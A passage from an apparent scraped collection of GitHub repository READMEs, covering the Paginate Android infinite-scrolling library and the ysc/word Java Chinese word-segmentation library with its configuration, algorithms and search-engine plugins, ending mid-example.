Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
0
MarkoMilos/Paginate
Library for creating simple pagination functionality upon RecyclerView and AbsListView
2015-11-07T16:03:11Z
null
Paginate ============ [![Android Arsenal](https://img.shields.io/badge/Android%20Arsenal-Paginate-green.svg?style=true)](https://android-arsenal.com/details/1/2797) Android library for creating simple pagination functionality (aka infinite scrolling) upon `RecyclerView` or `AbsListView`. Features -------- * Configuration allows you to setup automatic adding/removing of the loading list item (enabled by default) * Custom loading list item - inflate and bind (default loading list item view will be used if custom one is not provided) * Custom `SpanSizeLookup` for the loading list item when `GridLayoutManager` is used (by default loading list item will use full span) * Custom loading trigger threshold * Support `RecyclerView` (using linear, grid and staggered `LayoutManager`) and `AbsListView` (`ListView` | `GridView`) Demo -------- For a working implementation of this project see the `paginate-sample/` folder. <img src="art/demo.gif"> Setup -------- Gradle: ```groovy compile 'com.github.markomilos:paginate:1.0.0' ``` or Maven: ```xml <dependency> <groupId>com.github.markomilos</groupId> <artifactId>paginate</artifactId> <version>1.0.0</version> </dependency> ``` Usage -------- Implement `Paginate.Callbacks` ```java Paginate.Callbacks callbacks = new Paginate.Callbacks() { @Override public void onLoadMore() { // Load next page of data (e.g. network or database) } @Override public boolean isLoading() { // Indicate whether new page loading is in progress or not return loadingInProgress; } @Override public boolean hasLoadedAllItems() { // Indicate whether all data (pages) are loaded or not return hasLoadedAllItems; } }; ``` **RecyclerView** ```java Paginate.with(recyclerView, callbacks) .setLoadingTriggerThreshold(2) .addLoadingListItem(true) .setLoadingListItemCreator(new CustomLoadingListItemCreator()) .setLoadingListItemSpanSizeLookup(new CustomLoadingListItemSpanLookup()) .build(); ``` **Note**: `LayoutManager` and `RecyclerView.Adapter` needs to be set before calling the code above. Implement `LoadingListItemCreator` in order to provide custom loading row view. ```java private class CustomLoadingListItemCreator implements LoadingListItemCreator { @Override public RecyclerView.ViewHolder onCreateViewHolder(ViewGroup parent, int viewType) { LayoutInflater inflater = LayoutInflater.from(parent.getContext()); View view = inflater.inflate(R.layout.custom_loading_list_item, parent, false); return new VH(view); } @Override public void onBindViewHolder(RecyclerView.ViewHolder holder, int position) { // Bind custom loading row if needed } } ``` **AbsListView** ```java Paginate.with(absListView, callbacks) .setOnScrollListener(scrollListener) // Delegate scroll listener .setLoadingTriggerThreshold(2) .addLoadingListItem(true) .setLoadingListItemCreator(new CustomLoadingListItemCreator()) .build(); ``` **Note**: Adapter needs to be set before calling the code above. Implement `LoadingListItemCreator` in order to provide custom loading row view. ```java private class CustomLoadingListItemCreator implements LoadingListItemCreator { @Override public View newView(int position, ViewGroup parent) { LayoutInflater inflater = LayoutInflater.from(parent.getContext()); View view = inflater.inflate(R.layout.custom_loading_list_item, parent, false); view.setTag(new VH(view)); return view; } @Override public void bindView(int position, View view) { // Bind custom loading row if needed } } ``` **Paginate instance** Calling `build()` upon `Paginate.Builder` will return `Paginate` instance which will allow you to: * `unbind()` - Call unbind to detach list (`RecyclerView` or `AbsListView`) from Paginate when pagination functionality is no longer needed on the list. Paginate is using scroll listeners and adapter data observers in order to perform required checks (when list is scrolled to the end or when new data is added to source adapter). It wraps original (source) adapter with new adapter that provides loading row if loading row is used. When unbind is called original adapter will be set on the list and scroll listeners and data observers will be detached. **You need to call `unbind()` if you re-setup recycler view (e.g. change adapter, layout manager etc)** * `setHasMoreDataToLoad(boolean)` - if you are using loading row (which is default setup), each time when you add data to adapter check will be performed and if there is no more data to load loading row will be removed. That means that loading row will be added/removed automatically. Use this method to explicitly (manually) notify that there is no more item to load. Developed By -------- Marko Milos (marko.milos.hr@gmail.com) <a href="https://twitter.com/mysterymarks"> <img alt="Follow me on Twitter" src="https://raw.githubusercontent.com/MarkoMilos/Paginate/master/art/twitter.png" /> </a> <a href="https://hr.linkedin.com/in/markomilos"> <img alt="Follow me on LinkedIn" src="https://raw.githubusercontent.com/MarkoMilos/Paginate/master/art/linkedin.png" /> </a> License -------- Copyright 2020 Marko Milos Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.
0
ysc/word
Java分布式中文分词组件 - word分词
2014-03-18T03:22:55Z
null
### Java分布式中文分词组件 - word分词 #### word分词是一个Java实现的分布式的中文分词组件,提供了多种基于词典的分词算法,并利用ngram模型来消除歧义。能准确识别英文、数字,以及日期、时间等数量词,能识别人名、地名、组织机构名等未登录词。能通过自定义配置文件来改变组件行为,能自定义用户词库、自动检测词库变化、支持大规模分布式环境,能灵活指定多种分词算法,能使用refine功能灵活控制分词结果,还能使用词频统计、词性标注、同义标注、反义标注、拼音标注等功能。提供了10种分词算法,还提供了10种文本相似度算法,同时还无缝和Lucene、Solr、ElasticSearch、Luke集成。注意:word1.3需要JDK1.8 ### [捐赠致谢](https://github.com/ysc/QuestionAnsweringSystem/wiki/donation) ### API在线文档: [word 1.0 API](http://apdplat.org/word/apidocs/1.0/) [word 1.1 API](http://apdplat.org/word/apidocs/1.1/) [word 1.2 API](http://apdplat.org/word/apidocs/1.2/) [word 1.3 API](http://apdplat.org/word/apidocs/1.3/) ### [编译好的jar包下载](https://pan.baidu.com/s/1eisJUL47fmYZYgsdINXX4w) 提取码: ku8i ### Maven依赖: 在pom.xml中指定dependency,可用版本有1.0、1.1、1.2、1.3、1.3.1: <dependencies> <dependency> <groupId>org.apdplat</groupId> <artifactId>word</artifactId> <version>1.3</version> </dependency> </dependencies> word 1.3.1这个版本是从代码分支[ForElasticsearch1.7.2](https://github.com/ysc/word/tree/ForElasticsearch1.7.2/)中编译出来的,主要目的是支持 与lucene4.10.4、solr4.10.4和elasticsearch1.7.2兼容的版本。 ### 分词使用方法: #### 1、快速体验 运行项目根目录下的脚本demo-word.bat可以快速体验分词效果 用法: command [text] [input] [output] 命令command的可选值为:demo、text、file demo text 杨尚川是APDPlat应用级产品开发平台的作者 file d:/text.txt d:/word.txt exit #### 2、对文本进行分词 移除停用词:List<Word> words = WordSegmenter.seg("杨尚川是APDPlat应用级产品开发平台的作者"); 保留停用词:List<Word> words = WordSegmenter.segWithStopWords("杨尚川是APDPlat应用级产品开发平台的作者"); System.out.println(words); 输出: 移除停用词:[杨尚川, apdplat, 应用级, 产品, 开发平台, 作者] 保留停用词:[杨尚川, 是, apdplat, 应用级, 产品, 开发平台, 的, 作者] #### 3、对文件进行分词 String input = "d:/text.txt"; String output = "d:/word.txt"; 移除停用词:WordSegmenter.seg(new File(input), new File(output)); 保留停用词:WordSegmenter.segWithStopWords(new File(input), new File(output)); #### 4、自定义配置文件 默认配置文件为类路径下的word.conf,打包在word-x.x.jar中 自定义配置文件为类路径下的word.local.conf,需要用户自己提供 如果自定义配置和默认配置相同,自定义配置会覆盖默认配置 配置文件编码为UTF-8 #### 5、自定义用户词库 自定义用户词库为一个或多个文件夹或文件,可以使用绝对路径或相对路径 用户词库由多个词典文件组成,文件编码为UTF-8 词典文件的格式为文本文件,一行代表一个词 可以通过系统属性或配置文件的方式来指定路径,多个路径之间用逗号分隔开 类路径下的词典文件,需要在相对路径前加入前缀classpath: 指定方式有三种: 指定方式一,编程指定(高优先级): WordConfTools.set("dic.path", "classpath:dic.txt,d:/custom_dic"); DictionaryFactory.reload();//更改词典路径之后,重新加载词典 指定方式二,Java虚拟机启动参数(中优先级): java -Ddic.path=classpath:dic.txt,d:/custom_dic 指定方式三,配置文件指定(低优先级): 使用类路径下的文件word.local.conf来指定配置信息 dic.path=classpath:dic.txt,d:/custom_dic 如未指定,则默认使用类路径下的dic.txt词典文件 除此之外, 还可以在程序中用代码维护词库, 方法如下: // 单个操作 // 添加一个自定义词 DictionaryFactory.getDictionary().add("杨尚川"); // 删除一个自定义词 DictionaryFactory.getDictionary().remove("刘诗诗"); // 批量操作 List<String> words = new ArrayList<>(); words.add("刘德华"); words.add("景甜"); words.add("赵丽颖"); // 添加一批自定义词 DictionaryFactory.getDictionary().addAll(words); // 删除一批自定义词 DictionaryFactory.getDictionary().removeAll(words); #### 6、自定义停用词词库 使用方式和自定义用户词库类似,配置项为: stopwords.path=classpath:stopwords.txt,d:/custom_stopwords_dic #### 7、自动检测词库变化 可以自动检测自定义用户词库和自定义停用词词库的变化 包含类路径下的文件和文件夹、非类路径下的绝对路径和相对路径 如: classpath:dic.txt,classpath:custom_dic_dir, d:/dic_more.txt,d:/DIC_DIR,D:/DIC2_DIR,my_dic_dir,my_dic_file.txt classpath:stopwords.txt,classpath:custom_stopwords_dic_dir, d:/stopwords_more.txt,d:/STOPWORDS_DIR,d:/STOPWORDS2_DIR,stopwords_dir,remove.txt #### 8、显式指定分词算法 对文本进行分词时,可显式指定特定的分词算法,如: WordSegmenter.seg("APDPlat应用级产品开发平台", SegmentationAlgorithm.BidirectionalMaximumMatching); SegmentationAlgorithm的可选类型为: 正向最大匹配算法:MaximumMatching 逆向最大匹配算法:ReverseMaximumMatching 正向最小匹配算法:MinimumMatching 逆向最小匹配算法:ReverseMinimumMatching 双向最大匹配算法:BidirectionalMaximumMatching 双向最小匹配算法:BidirectionalMinimumMatching 双向最大最小匹配算法:BidirectionalMaximumMinimumMatching 全切分算法:FullSegmentation 最少词数算法:MinimalWordCount 最大Ngram分值算法:MaxNgramScore #### 9、分词效果评估 运行项目根目录下的脚本evaluation.bat可以对分词效果进行评估 评估采用的测试文本有253 3709行,共2837 4490个字符 评估结果位于target/evaluation目录下: corpus-text.txt为分好词的人工标注文本,词之间以空格分隔 test-text.txt为测试文本,是把corpus-text.txt以标点符号分隔为多行的结果 standard-text.txt为测试文本对应的人工标注文本,作为分词是否正确的标准 result-text-***.txt,***为各种分词算法名称,这是word分词结果 perfect-result-***.txt,***为各种分词算法名称,这是分词结果和人工标注标准完全一致的文本 wrong-result-***.txt,***为各种分词算法名称,这是分词结果和人工标注标准不一致的文本 #### 10、分布式中文分词器 1、在自定义配置文件word.conf或word.local.conf中指定所有的配置项*.path使用HTTP资源,同时指定配置项redis.* #词典 dic.path=http://localhost:8080/word_web/resources/dic.txt #词性标注数据 part.of.speech.dic.path=http://localhost:8080/word_web/resources/part_of_speech_dic.txt #词性说明数据 part.of.speech.des.path=http://localhost:8080/word_web/resources/part_of_speech_des.txt #二元模型 bigram.path=http://localhost:8080/word_web/resources/bigram.txt #三元模型 trigram.path=http://localhost:8080/word_web/resources/trigram.txt #停用词词典 stopwords.path=http://localhost:8080/word_web/resources/stopwords.txt #用于分割词的标点符号 punctuation.path=http://localhost:8080/word_web/resources/punctuation.txt #百家姓 surname.path=http://localhost:8080/word_web/resources/surname.txt #数量词 quantifier.path=http://localhost:8080/word_web/resources/quantifier.txt #是否使用redis的发布订阅服务来实时检测HTTP资源变更 redis.enable=false #redis服务,用于实时检测HTTP资源变更 #redis主机 redis.host=localhost #redis端口 redis.port=6379 2、配置并启动redis服务器 所有的分词器都会订阅redis服务器, 当redis服务器收到用户对资源的新增或删除指令后, 会通知所有的分词器进行相应的操作 3、配置并启动提供HTTP资源的web服务器,即将项目:https://github.com/ysc/word_web 部署到tomcat的8080端口 // 通知所有的分词器增加"杨尚川"这个词 http://localhost:8080/word_web/admin/dic.jsp?action=add&dic=杨尚川 // 通知所有的分词器删除"笔记本"这个词 http://localhost:8080/word_web/admin/dic.jsp?action=remove&dic=笔记本 dic.jsp收到用户的请求后会将消息投递到redis服务器, redis服务器在发布消息给所有订阅的分词器 #### 11、词性标注 将分词结果作为输入参数,调用PartOfSpeechTagging类的process方法,词性保存在Word类的partOfSpeech字段中 如下所示: List<Word> words = WordSegmenter.segWithStopWords("我爱中国"); System.out.println("未标注词性:"+words); //词性标注 PartOfSpeechTagging.process(words); System.out.println("标注词性:"+words); 输出内容: 未标注词性:[我, 爱, 中国] 标注词性:[我/r, 爱/v, 中国/ns] #### 12、refine 我们看一个切分例子: List<Word> words = WordSegmenter.segWithStopWords("我国工人阶级和广大劳动群众要更加紧密地团结在党中央周围"); System.out.println(words); 结果如下: [我国, 工人阶级, 和, 广大, 劳动群众, 要, 更加, 紧密, 地, 团结, 在, 党中央, 周围] 假如我们想要的切分结果是: [我国, 工人, 阶级, 和, 广大, 劳动, 群众, 要, 更加, 紧密, 地, 团结, 在, 党中央, 周围] 也就是要把“工人阶级”细分为“工人 阶级”,把“劳动群众”细分为“劳动 群众”,那么我们该怎么办呢? 我们可以通过在word.refine.path配置项指定的文件classpath:word_refine.txt中增加以下内容: 工人阶级=工人 阶级 劳动群众=劳动 群众 然后,我们对分词结果进行refine: words = WordRefiner.refine(words); System.out.println(words); 这样,就能达到我们想要的效果: [我国, 工人, 阶级, 和, 广大, 劳动, 群众, 要, 更加, 紧密, 地, 团结, 在, 党中央, 周围] 我们再看一个切分例子: List<Word> words = WordSegmenter.segWithStopWords("在实现“两个一百年”奋斗目标的伟大征程上再创新的业绩"); System.out.println(words); 结果如下: [在, 实现, 两个, 一百年, 奋斗目标, 的, 伟大, 征程, 上, 再创, 新的, 业绩] 假如我们想要的切分结果是: [在, 实现, 两个一百年, 奋斗目标, 的, 伟大征程, 上, 再创, 新的, 业绩] 也就是要把“两个 一百年”合并为“两个一百年”,把“伟大, 征程”合并为“伟大征程”,那么我们该怎么办呢? 我们可以通过在word.refine.path配置项指定的文件classpath:word_refine.txt中增加以下内容: 两个 一百年=两个一百年 伟大 征程=伟大征程 然后,我们对分词结果进行refine: words = WordRefiner.refine(words); System.out.println(words); 这样,就能达到我们想要的效果: [在, 实现, 两个一百年, 奋斗目标, 的, 伟大征程, 上, 再创, 新的, 业绩] #### 13、同义标注 List<Word> words = WordSegmenter.segWithStopWords("楚离陌千方百计为无情找回记忆"); System.out.println(words); 结果如下: [楚离陌, 千方百计, 为, 无情, 找回, 记忆] 做同义标注: SynonymTagging.process(words); System.out.println(words); 结果如下: [楚离陌, 千方百计[久有存心, 化尽心血, 想方设法, 费尽心机], 为, 无情, 找回, 记忆[影象]] 如果启用间接同义词: SynonymTagging.process(words, false); System.out.println(words); 结果如下: [楚离陌, 千方百计[久有存心, 化尽心血, 想方设法, 费尽心机], 为, 无情, 找回, 记忆[影像, 影象]] List<Word> words = WordSegmenter.segWithStopWords("手劲大的老人往往更长寿"); System.out.println(words); 结果如下: [手劲, 大, 的, 老人, 往往, 更, 长寿] 做同义标注: SynonymTagging.process(words); System.out.println(words); 结果如下: [手劲, 大, 的, 老人[白叟], 往往[常常, 每每, 经常], 更, 长寿[长命, 龟龄]] 如果启用间接同义词: SynonymTagging.process(words, false); System.out.println(words); 结果如下: [手劲, 大, 的, 老人[白叟], 往往[一样平常, 一般, 凡是, 寻常, 常常, 常日, 平凡, 平居, 平常, 平日, 平时, 往常, 日常, 日常平凡, 时常, 普通, 每每, 泛泛, 素日, 经常, 通俗, 通常], 更, 长寿[长命, 龟龄]] 以词“千方百计”为例: 可以通过Word的getSynonym()方法获取同义词如: System.out.println(word.getSynonym()); 结果如下: [久有存心, 化尽心血, 想方设法, 费尽心机] 注意:如果没有同义词,则getSynonym()返回空集合:Collections.emptyList() 间接同义词和直接同义词的区别如下: 假设: A和B是同义词,A和C是同义词,B和D是同义词,C和E是同义词 则: 对于A来说,A B C是直接同义词 对于B来说,A B D是直接同义词 对于C来说,A C E是直接同义词 对于A B C来说,A B C D E是间接同义词 #### 14、反义标注 List<Word> words = WordSegmenter.segWithStopWords("5月初有哪些电影值得观看"); System.out.println(words); 结果如下: [5, 月初, 有, 哪些, 电影, 值得, 观看] 做反义标注: AntonymTagging.process(words); System.out.println(words); 结果如下: [5, 月初[月底, 月末, 月终], 有, 哪些, 电影, 值得, 观看] List<Word> words = WordSegmenter.segWithStopWords("由于工作不到位、服务不完善导致顾客在用餐时发生不愉快的事情,餐厅方面应该向顾客作出真诚的道歉,而不是敷衍了事。"); System.out.println(words); 结果如下: [由于, 工作, 不到位, 服务, 不完善, 导致, 顾客, 在, 用餐, 时, 发生, 不愉快, 的, 事情, 餐厅, 方面, 应该, 向, 顾客, 作出, 真诚, 的, 道歉, 而不是, 敷衍了事] 做反义标注: AntonymTagging.process(words); System.out.println(words); 结果如下: [由于, 工作, 不到位, 服务, 不完善, 导致, 顾客, 在, 用餐, 时, 发生, 不愉快, 的, 事情, 餐厅, 方面, 应该, 向, 顾客, 作出, 真诚[糊弄, 虚伪, 虚假, 险诈], 的, 道歉, 而不是, 敷衍了事[一丝不苟, 兢兢业业, 尽心竭力, 竭尽全力, 精益求精, 诚心诚意]] 以词“月初”为例: 可以通过Word的getAntonym()方法获取反义词如: System.out.println(word.getAntonym()); 结果如下: [月底, 月末, 月终] 注意:如果没有反义词,getAntonym()返回空集合:Collections.emptyList() #### 15、拼音标注 List<Word> words = WordSegmenter.segWithStopWords("《速度与激情7》的中国内地票房自4月12日上映以来,在短短两周内突破20亿人民币"); System.out.println(words); 结果如下: [速度, 与, 激情, 7, 的, 中国, 内地, 票房, 自, 4月, 12日, 上映, 以来, 在, 短短, 两周, 内, 突破, 20亿, 人民币] 执行拼音标注: PinyinTagging.process(words); System.out.println(words); 结果如下: [速度 sd sudu, 与 y yu, 激情 jq jiqing, 7, 的 d de, 中国 zg zhongguo, 内地 nd neidi, 票房 pf piaofang, 自 z zi, 4月, 12日, 上映 sy shangying, 以来 yl yilai, 在 z zai, 短短 dd duanduan, 两周 lz liangzhou, 内 n nei, 突破 tp tupo, 20亿, 人民币 rmb renminbi] 以词“速度”为例: 可以通过Word的getFullPinYin()方法获取完整拼音如:sudu 可以通过Word的getAcronymPinYin()方法获取首字母缩略拼音如:sd #### 16、Lucene插件: 1、构造一个word分析器ChineseWordAnalyzer Analyzer analyzer = new ChineseWordAnalyzer(); 如果需要使用特定的分词算法,可通过构造函数来指定: Analyzer analyzer = new ChineseWordAnalyzer(SegmentationAlgorithm.FullSegmentation); 如不指定,默认使用双向最大匹配算法:SegmentationAlgorithm.BidirectionalMaximumMatching 可用的分词算法参见枚举类:SegmentationAlgorithm 2、利用word分析器切分文本 TokenStream tokenStream = analyzer.tokenStream("text", "杨尚川是APDPlat应用级产品开发平台的作者"); //准备消费 tokenStream.reset(); //开始消费 while(tokenStream.incrementToken()){ //词 CharTermAttribute charTermAttribute = tokenStream.getAttribute(CharTermAttribute.class); //词在文本中的起始位置 OffsetAttribute offsetAttribute = tokenStream.getAttribute(OffsetAttribute.class); //第几个词 PositionIncrementAttribute positionIncrementAttribute = tokenStream.getAttribute(PositionIncrementAttribute.class); LOGGER.info(charTermAttribute.toString()+" ("+offsetAttribute.startOffset()+" - "+offsetAttribute.endOffset()+") "+positionIncrementAttribute.getPositionIncrement()); } //消费完毕 tokenStream.close(); 3、利用word分析器建立Lucene索引 Directory directory = new RAMDirectory(); IndexWriterConfig config = new IndexWriterConfig(analyzer); IndexWriter indexWriter = new IndexWriter(directory, config); 4、利用word分析器查询Lucene索引 QueryParser queryParser = new QueryParser("text", analyzer); Query query = queryParser.parse("text:杨尚川"); TopDocs docs = indexSearcher.search(query, Integer.MAX_VALUE); #### 17、Solr插件: 1、下载word-1.3.jar 下载地址:http://search.maven.org/remotecontent?filepath=org/apdplat/word/1.3/word-1.3.jar 2、创建目录solr-5.2.0/example/solr/lib,将word-1.3.jar复制到lib目录 3、配置schema指定分词器 将solr-5.2.0/example/solr/collection1/conf/schema.xml文件中所有的 <tokenizer class="solr.WhitespaceTokenizerFactory"/>和 <tokenizer class="solr.StandardTokenizerFactory"/>全部替换为 <tokenizer class="org.apdplat.word.solr.ChineseWordTokenizerFactory"/> 并移除所有的filter标签 4、如果需要使用特定的分词算法: <tokenizer class="org.apdplat.word.solr.ChineseWordTokenizerFactory" segAlgorithm="ReverseMinimumMatching"/> segAlgorithm可选值有: 正向最大匹配算法:MaximumMatching 逆向最大匹配算法:ReverseMaximumMatching 正向最小匹配算法:MinimumMatching 逆向最小匹配算法:ReverseMinimumMatching 双向最大匹配算法:BidirectionalMaximumMatching 双向最小匹配算法:BidirectionalMinimumMatching 双向最大最小匹配算法:BidirectionalMaximumMinimumMatching 全切分算法:FullSegmentation 最少词数算法:MinimalWordCount 最大Ngram分值算法:MaxNgramScore 如不指定,默认使用双向最大匹配算法:BidirectionalMaximumMatching 5、如果需要指定特定的配置文件: <tokenizer class="org.apdplat.word.solr.ChineseWordTokenizerFactory" segAlgorithm="ReverseMinimumMatching" conf="solr-5.2.0/example/solr/nutch/conf/word.local.conf"/> word.local.conf文件中可配置的内容见 word-1.3.jar 中的word.conf文件 如不指定,使用默认配置文件,位于 word-1.3.jar 中的word.conf文件 #### 18、ElasticSearch插件: 1、打开命令行并切换到elasticsearch的根目录 cd elasticsearch-5.4.3 2、安装word分词插件: wget http://apdplat.org/word/archive/v1.4.1.zip mkdir plugins/word unzip -d plugins/word v1.4.1.zip 注意:如果elasticsearch的版本大于5.4.3,比如为5.6.4,则将文件plugins/word/plugin-descriptor.properties中的配置改为:elasticsearch.version=5.6.4 3、启动ElasticSearch bin/elasticsearch 4、测试效果,在Chrome浏览器中访问: http://localhost:9200/_analyze?analyzer=word&text=杨尚川是APDPlat应用级产品开发平台的作者 #### 19、Luke插件: 1、下载http://luke.googlecode.com/files/lukeall-4.0.0-ALPHA.jar(国内不能访问) 2、下载并解压Java中文分词组件word-1.0-bin.zip:http://pan.baidu.com/s/1dDziDFz 3、将解压后的 Java中文分词组件word-1.0-bin/word-1.0 文件夹里面的4个jar包解压到当前文件夹 用压缩解压工具如winrar打开lukeall-4.0.0-ALPHA.jar,将当前文件夹里面除了META-INF文件夹、.jar、 .bat、.html、word.local.conf文件外的其他所有文件拖到lukeall-4.0.0-ALPHA.jar里面 4、执行命令 java -jar lukeall-4.0.0-ALPHA.jar 启动luke,在Search选项卡的Analysis里面 就可以选择 org.apdplat.word.lucene.ChineseWordAnalyzer 分词器了 5、在Plugins选项卡的Available analyzers found on the current classpath里面也可以选择 org.apdplat.word.lucene.ChineseWordAnalyzer 分词器 注意:如果你要自己集成word分词器的其他版本,在项目根目录下运行mvn install编译项目,然后运行命令 mvn dependency:copy-dependencies复制依赖的jar包,接着在target/dependency/目录下就会有所有 的依赖jar包。其中target/dependency/slf4j-api-1.6.4.jar是word分词器使用的日志框架, target/dependency/logback-classic-0.9.28.jar和 target/dependency/logback-core-0.9.28.jar是word分词器推荐使用的日志实现,日志实现的配置文件 路径位于target/classes/logback.xml,target/word-1.3.jar是word分词器的主jar包,如果需要 自定义词典,则需要修改分词器配置文件target/classes/word.conf 已经集成好的Luke插件下载(适用于lucene4.0.0) :[lukeall-4.0.0-ALPHA-with-word-1.0.jar](http://pan.baidu.com/s/1bn52ooR) 已经集成好的Luke插件下载(适用于lucene4.10.3):[lukeall-4.10.3-with-word-1.2.jar](http://pan.baidu.com/s/1mgFt7ZU) #### 20、通过计算词的语境来获得相关词: 我们如何通过计算词的语境来获得相关词呢? 语境的定义是:在一段文本中,任意一个词的语境由它的前N个词和后N个词组成。 相关词的定义是:如果两个词的语境越相似,那么这两个词就越相似,也就越相关。 算法由两个步骤组成: 1、从大规模语料库中计算每一个词的语境,并使用词向量来表示语境。 2、把求两个词的相似度的问题转换为求这两个词的语境的相似度的问题。 通过计算语境的相似度,就可得到词的相似度,越相似的词就越相关。 使用方法如下: 1、使用word分词内置语料库:运行word分词项目根目录下的脚本 demo-word-vector-corpus.bat 或 demo-word-vector-corpus.sh 2、使用自己的文本内容:运行word分词项目根目录下的脚本 demo-word-vector-file.bat 或 demo-word-vector-file.sh 由于语料库很大,所以启动的时间会很长,请耐心等待,下面以例子来说明: 比如我们想分析 兰州 这个词的相关词有哪些,我们运行脚本 demo-word-vector-corpus.sh ,启动成功之后命令行提示: 开始初始化模型 模型初始化完成 可通过输入命令sa=cos来指定相似度算法,可用的算法有: 1、sa=cos,余弦相似度 2、sa=edi,编辑距离 3、sa=euc,欧几里得距离 4、sa=sim,简单共有词 5、sa=jac,Jaccard相似性系数 6、sa=man,曼哈顿距离 7、sa=shh,SimHash + 汉明距离 8、sa=ja,Jaro距离 9、sa=jaw,Jaro–Winkler距离 10、sa=sd,Sørensen–Dice系数 可通过输入命令limit=15来指定显示结果条数 可通过输入命令exit退出程序 输入要查询的词或命令: 我们输入 兰州 后回车,结果显示: 兰州 的相关词(EditDistanceTextSimilarity): ---------------------------------------------------------- 1、兰州 1.0 2、北京 0.21 3、福州 0.2 4、太原 0.19 5、成都 0.17 6、西安 0.17 7、哈尔滨 0.17 8、南宁 0.17 9、贵阳 0.16 10、庆阳 0.15 11、沈阳 0.14 12、合肥 0.14 13、大同 0.14 14、拉萨 0.13 15、西宁 0.13 ---------------------------------------------------------- 这里显示的结果就是 兰州 这个词的相关词,词后面跟的是相关度分值, 兰州 和 兰州 是同一个词,相关度百分之百,自然是1分。 从这个结果我们来分析,这些词凭什么相关呢?线索在哪里? 首先这些词的词性都是名词; 其次这些词都是地名而且是大城市名; 从这里我们也可以看到一个有意思的现象,同一词性比如地名的用法往往保持一致。 相关词是从语境推导得到的,语境中词后面跟的数字是权重,权重是1/N的累加值 下面我们看看这些词的语境: 兰州 : [军区 1.0, 甘肃 0.78205127, 新区 0.7692308, 大学 0.42307693, 甘肃兰州 0.41025642, 货车 0.3846154, 西安 0.32051283, 本报 0.2948718, 新华社 0.2820513, 兰州新区 0.26923078, 召开 0.23076923, 发往 0.21794872, 中国 0.20512821, 兰州 0.20512821, 火车站 0.20512821, 铁路 0.17948718, 参加 0.15384616, 西宁 0.15384616, 方向 0.15384616, 成都 0.14102565, 警察 0.14102565, 建设 0.12820514, 市委 0.12820514, 来到 0.12820514, 一家 0.12820514, 中心 0.115384616, 炼油厂 0.102564104, 进入 0.102564104, 来自 0.102564104, 举行 0.102564104] 北京 : [新华社 1.0, 本报 0.7119143, 举行 0.19384204, 上海 0.17831326, 时间 0.16385542, 铁路局 0.1394913, 西站 0.13226238, 青年报 0.12717536, 晨报 0.11700134, 市委 0.1145917, 地区 0.11218206, 召开 0.10200803, 城市 0.08299866, 目前 0.07951807, 来到 0.06961178, 军区 0.06827309, 国际 0.066398926, 中心 0.063453816, 北京时间 0.06184739, 人民 0.059973225, 工作 0.05863454, 地铁 0.057563588, 北京铁路局 0.056492638, 医院 0.055421688, 飞往 0.05381526, 首都 0.053547524, 中国 0.053547524, 其中 0.05274431, 今天 0.052208837, 卫视 0.05167336] 福州 : [火车站 1.0, 新区 0.46666667, 福州火车站 0.45555556, 晚报 0.2962963, 记者 0.2777778, 打工 0.27407408, 来到 0.24814814, 市民 0.23333333, 本报 0.22222222, 大学 0.21851853, 市区 0.2074074, 市委 0.19259259, 举行 0.19259259, 鼓楼区 0.18518518, 网友 0.18148148, 到达 0.17037037, 开往 0.16296296, 目前 0.14074074, 分行 0.14074074, 一家 0.12962963, 全市 0.12962963, 东街口 0.12222222, 福州晚报 0.12222222, 新华社 0.11851852, 铁路 0.11851852, 召开 0.11481482, 前往 0.11481482, 发展 0.11481482, 推进 0.11111111, 福州 0.11111111] 太原 : [山西 1.0, 山西太原 0.6136364, 本报 0.39772728, 新华社 0.3409091, 火车站 0.26136363, 济南 0.25, 铁路 0.23863636, 北京 0.22727273, 推出 0.1590909, 国际 0.1590909, 返回 0.14772727, 刚玉 0.13636364, 来自 0.13636364, 发布 0.13636364, 打工 0.125, 中心 0.125, 市委 0.11363637, 银行 0.11363637, 铁路局 0.10227273, 西安 0.09090909, 集团 0.09090909, 公安 0.09090909, 开往 0.09090909, 比如 0.07954545, 金融 0.07954545, 火车票 0.07954545, 大同 0.06818182, 山西省 0.06818182, 军分区 0.06818182, 离开 0.06818182] 成都 : [商报 1.0, 成都商报 0.4117647, 军区 0.1875, 铁路局 0.17830883, 北京 0.17463236, 本报 0.17095588, 重庆 0.15441176, 告诉 0.15441176, 交警 0.14338236, 方向 0.1360294, 记者 0.13419117, 平原 0.121323526, 四川 0.1194853, 长沙 0.11764706, 理工大学 0.0992647, 来自 0.09375, 新华社 0.09191176, 开往 0.090073526, 成都铁路局 0.08455882, 铁路 0.080882356, 召开 0.07904412, 市民 0.075367644, 市委 0.073529415, 公司 0.07169118, 广州 0.07169118, 西安 0.0680147, 郫县 0.060661763, 打工 0.060661763, 市区 0.05882353, 晚报 0.05882353] 西安 : [火车站 1.0, 事变 0.75, 交通 0.7058824, 建设 0.5882353, 地铁 0.5882353, >咸阳 0.5588235, 来到 0.5294118, 市民 0.50735295, 大学 0.5, 铁路 0.5, 代表团 0.5, 铁路局 0.49264705, 公司 0.4852941, 武汉 0.4632353, 曲江 0.44117647, 供电 0.42647058, 新华社 0.4117647, 西安火车站 0.4117647, 北京 0.3602941, 交大 0.3602941, 本报 0.34558824, 西安事变 0.3382353, 城市 0.31617647, 城区 0.31617647, 落户 0.30882353, 市委 0.29411766, 国际 0.2867647, 城东 0.2867647, 成都 0.2720588, 举行 0.25] 哈尔滨 : [理工大学 1.0, 火车站 0.41584158, 哈尔滨理工大学 0.36138615, 工业 0.25742576, 方向 0.23762377, 新华社 0.20792079, 开往 0.18811882, 哈尔滨火车站 0.18316832, 